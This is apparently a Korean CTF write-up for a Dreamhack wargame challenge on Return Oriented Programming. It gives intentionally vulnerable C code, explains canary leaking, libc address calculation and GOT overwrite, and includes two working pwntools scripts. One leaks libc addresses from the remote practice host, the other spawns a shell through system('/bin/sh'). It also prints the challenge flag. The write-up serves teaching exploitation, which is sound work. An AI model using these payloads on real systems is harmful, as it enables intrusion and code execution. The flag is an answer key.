Exploit Tech: Return Oriented Programming

---

Return Oriented Programming

ROP : 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법

 공격자는 이를 이용해 문제 상황에 맞춰 RTL/Return to dl-resolve/GOT overwrite
등을 이용해 페이로드를 구성합니다!

지난 시간에 pop rdi; ret을 사용해 system("/bin/sh")을 호출한 것도 ROP를 이용한 RTL입니다.

ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로
여러 코드가 연쇄적으로 실행되는 모습에서 ROP Chain이라고 불립니다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
 
#include <stdio.h>
#include <unistd.h>
 
int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
 
  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
 
  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
 
  return 0;
}

아례 코드는 우리가 실습할 취약한 코드입니다.

---

분석 및 설계

위와 같이 Canary와 NX가 걸려 있는 모습을 보실 수 있습니다. 또한 ASLR은 거의 필수로 있죠

 

그러기에 우리는 RTL 공격을 이전에 진행했었으며, 지금은 ROP 공격을 할거예요
정확하게는 ROP Chain 공격이 더 적합한 용어같네요

 

코드 분석과 해당 취약점은 이전과 유사하기에 건너뛰고..

보시면 system 함수가 없으므로 바로 쉘로 접근이 안되겠죠 그러므로 사용된
함수들을 활용하여 plt, got에 접근하여 인자들을 조작하여 system 함수처럼 사용해야겠네요
여기서 핵심은 read 함수겠죠...

 

이전처럼 system에 plt가 기록 되지도 않고 상수인 /bin/sh도 없으니까 puts와 같은
출력 함수도 이용해야겠죠(plt에 등록 되어있다면 got에 당연지사로 접근 될 것이기에..)

---

 

1. 카나리 우회

Exploit Tech: Return to Library

---

2. system 함수의 주소 계산

system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는
이 바이너리가 호출하는 read, puts, printf도 정의되어 있습니다.

 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로,
다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재됨

※ 바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록 X
그러나 read, puts, printf는 GOT에 등록되어 있습니다.

 

main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로,
이들의 GOT를 읽을 수 있다면 libc의 버전에 맞게 매핑된 영역의 주소를 구할 수 있습니다.

 

libc에는 여러 버전이 있는데 같은 libc안에서 두 데이터 사이의 거리(Offset)는 항상 같습니다.
그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면
다른 데이터의 주소를 모두 계산할 수 있습니다.

 

 

rop.c에서는 read, puts, printf가 GOT에 등록했기에 하나의 함수를 정해서 그 함수의 GOT 값을 읽고,
그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구해낼 수 있을 것입니다.

---

3. “/bin/sh”

이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없습니다.
따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 합니다.

 

후자의 방법을 선택할 때 많이 사용되는 것이 libc에 포함된 “/bin/sh” 문자열입니다.
이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고,
그 주소로부터 거리를 더하거나 빼서 계산할 수 있습니다.

 

이 방법은 주소를 알고 있는 버퍼에 “/bin/sh”를 입력하기 어려울 때 차선책으로 사용될 수 있습니다.

이 실습에서는 ROP로 버퍼에 “/bin/sh”를 입력하고, 이를 참조하겠습니다.

---

4. GOT Overwrite

system 함수와 “/bin/sh” 문자열의 주소를 알고 있으므로,
지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있습니다.

 

그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로,
알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 BOF를 일으켜야 합니다.

 

이러한 공격 패턴을 ret2main이라고 부르는데,
이 코스에서는 GOT Overwrite 기법을 통해 한 번에 셸을 획득하겠습니다.

Background: Library - Static Link vs. Dynamic Link

위에 링크를 보시면 Lazy binding에 대해 배운 내용을 알 수 있을 것입니다.

Lazy binding

 리눅스 ELF 바이너리에서 라이브러리 함수의 시작주소를 구하지 않다가
함수를 처음 호출할 때 해당 주소를 구하는 것

※ Lazy Binding ※

1. 호출할 lib 함수의 주소를 프로세스에 매핑된 lib에서 찾음
2. 찾은 주소를 GOT에 적고, 이를 호출
3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조

위 과정에서 GOT Overwrite에 이용되는 부분은 3번입니다.
GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있다면,
해당 함수가 재호출될 때 공격자가 원하는 코드가 실행되게 할 수 있습니다.

 

알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성됩니다

---

Libc DB 접근

문제점은 해당 local과 원격의 libc가 다른 점에서 많이 막혔을거예요
저는 해당 댓글 보면서 libc와 해당 로드맵의 강의를 보면서 풀었기에 알 수 있었지만.. 풀이를 보던 중
좋은 부분이 있기에 참고해서 추가로 올려드립니다 ㅎ

#!/usr/bin/python3
from pwn import *
 
def slog(name, addr): return success(' : '.join([name, hex(addr)]))
 
def check_memory_address_leak(func_name):
    ret = 0x40055e
    pop_rdi_ret = 0x4007f3
 
    e = ELF('./rop', checksec=False)
    p = remote('host3.dreamhack.games', 20308)
 
    puts_plt = e.plt['puts']
    main_addr = e.symbols['main']
 
    func_got = e.got[func_name]
 
    # Canary leak
    payload = b'A' * 0x39
 
    p.sendafter('Buf: ', payload)
    p.recvuntil(payload)
    Canary = u64(p.recvn(7).rjust(8, b'\x00'))
 
    # leak func_addr
    payload = b'A' * 0x38
    payload += p64(Canary)
    payload += b'B' * 0x8
    #payload += p64(ret)
    payload += p64(pop_rdi_ret)
    payload += p64(func_got)
    payload += p64(puts_plt)
    payload += p64(main_addr)
    
    p.sendafter(b'Buf: ', payload)
    func_addr = u64(p.recvn(6) + b'\x00\x00')
 
    slog(func_name, func_addr)
    p.close()
 
def main():
    func_list = []
    func_list.append('puts')
    func_list.append('printf')
    func_list.append('read')
    func_list.append('setvbuf')
 
    for func_name in func_list:
        check_memory_address_leak(func_name)
 
if __name__ == '__main__':
    main()

도움 링크 : https://dreamhack.io/wargame/challenges/354/?writeup_id=6496

위에 링크는 제가 참고한 자료입니다. 정말 좋은 자료인거 같네요
그래서 해당 lib의 got의 값을 알아냈기에 아래 사이트에 접속해 확인을 해볼까요

libc database search

---

 

결과를 보신다면 libc6_2.27.. 버전의 lib를 사용하는걸 확인할 수 있습니다
그리고 system 함수의 difference가 0으로 확정되는 것도 확인 할 수 있는 대목이고요

그럼 이제 버전까지 알았으므로 Exploit을 실행해볼까요

---

Exploit_Write Up

ROP chain을 할려면 14~16처럼 해야겠죠.. 아 그럼 구한 libc의 버전은 왜 안쓰냐..
안 써도 실행이 되더라고요.. 왤까요?? 그리고 알아보니까 14-15처럼 하면 결과가 깔끔!
그리고 팁으론 local로 실행하고싶다면 15번을 주석하시고 16번째 줄을 활성화 하시면 됩니다

---

아까 libc_DB에서 본 것처럼 system에서 보신 것처럼 차이가 0이니까 
맨 처음인 rbp.. 뒤에부터 rsp로 다가간다..라고 생각하시면 될거 같네요 실제론 BSS?이런데 상주하겠지만요

 

그리고 저희는 system함수를 read를 통해 인자 입력과 위치를 구할 겁니다.

---

핵심!!!

1.  카나리까지 구하고 난 후에 put로 read의 got의 값을 입력합니다 
   - 참고로 linux_syscall의 따라서 저렇게 인자를 넣는답니다! 
   
   
2.  read의 인자값을 주석처럼 넣고 싶은데 인자가 syscall의 규칙에 의해서 넣어야하니까..
   저렇게 한 번 넣고 0으로 추가하면 됩니다 rdi ← p64(0)/rsi ← p64(read_got)&r15(불필요) ← 0..
   - 참고로 뭐든 해당 함수의 plt로 끝내줘야 got랑 연결되고 해당 함수로 실행되겠죠?
   
   
3.  50번째처럼 한 이유는 stack alignment의 느낌처럼 system 함수는 항상 중간 입력이..
   0x10으로 끝내야한다고 전에 그랬죠.. 그 이유 덕분에 저렇게 합니다

집중하셨다면 분명 의문점이 들거예요 특히, 45줄에 왜 read_got로 다시 read를 부를까.. 이건
후에 나오겠지만 입력받기 위해서예요 그렇게 된다면 따지고보면 2번 입력 받네요 ㅎ

 

또한 read의 rdx의 값은 여기선 많이 할당이 된 상태라서 따로 안 해도 되는거 같아요..
안정적인 코드를 원하면 추가적으로 입력하고 libc_csu_init으로 해야한다던데.. 심화내용이라서 ㅎ

 

나중에.. 공부해서 올려봐야겠죠 ㅠ
그리고 함수의 인자들에 대하여 알고 싶다면 여기로..

---

이제 궁금할 수도 있는 각 사용되고 이용된 libc의 offset에 대하여 알고 싶다면..
저렇게 middleware로 확인을 해봐야겠죠

 

보시면.. payload로 아님 위에 확인하는 코드도 있는데 적용해서 보내면
처음에 put(read_got)로 호출된걸 퉤 했는데 그전에 bof+Cnry leak을 했으니까.. 호출되겠죠

 

그렇게 차근차근 56엔 얻은 read의 위치에서 symbol값을 빼면 libc_base의 offset을 구할 수 있어요
구하는 이유는 ASLR이 렌덤의 값이 아닌 해당 lib의 버전에 따른 offset에 따라 하기에 필요해요

 

lib_base로 하고 system은 아까전에 각 lib의 offset의 차이는 같다고 했으니
이전으로 뺀 것에서 lb랑 symbol table의 system의 위치를 더해준다면..다 구했죠

---

핵심인 p.send(p64(system) + b'/bin/sh\x00')에 대하여 분석하자면..
아까 system 함수의 위치를 찾았고 또한 read의 got의 값을 넣었음으로 저렇게 추가적으로 넣고
끝에 끝나는 null-byte까지 넣어주면.. 완벽하게 게임이 끝났네요!!

#/!/usr/python3
from pwn import *
 
host = 'host3.dreamhack.games'
port = 8331
 
def slog(name, addr): return success(' : '.join([name, hex(addr)]))
 
context(arch='amd64', os='linux')
#context.log_level = 'debug'
 
#p = process('./rop')
p = remote(host, port)
e = ELF('./rop', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
#libc = e.libc
 
#gdb.attach('./rop)
 
# [1] leak Canary
buf = b'A' * 0x39
 
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
Cnry = u64(b'\00'+p.recvn(7))
 
# [2] exploit
read_system = libc.symbols['read'] - libc.symbols['system']
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
 
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
 
#payload leak Canary
payload = b'A'*0x38 + p64(Cnry) + b'B'*0x8
 
#put(read_got)
payload += p64(pop_rdi) + p64(read_got) 
payload += p64(puts_plt)
 
#read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
 
#read('/bin/sh') == system('/bin/sh')
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(read_plt)
 
#check middleware
p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + (b'\00' * 2))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
read_sym = libc.symbols['read']
 
#slog('libc vestion offset', read_system)
slog('Canary', Cnry)
slog('read', read)
slog('libc_base', lb)
slog('system', system)
slog('read_sym', read_sym)
 
p.send(p64(system) + b'/bin/sh\x00')
 
p.interactive()

DH{68b82d23a30015c732688c89bd03d401}

---

참고 자료

rop

Exploit Tech: Return Oriented Programming

강의노트를 보며 rop를 풀다 궁금한점이 생겨 질문드립니다.

 

혹시 어떤 부분을 찾아봐야할까요? 다 이해한것 같은데 안되는 이유를 모르겠습니다.

read()의 got의 값을 읽을 때 -> read = u64(p.recvn(6)+b"\x00"*2) 왜 이런식으로 값을 읽는지 궁금합니다.

 

 

Beginners' guide

 

참고 이미지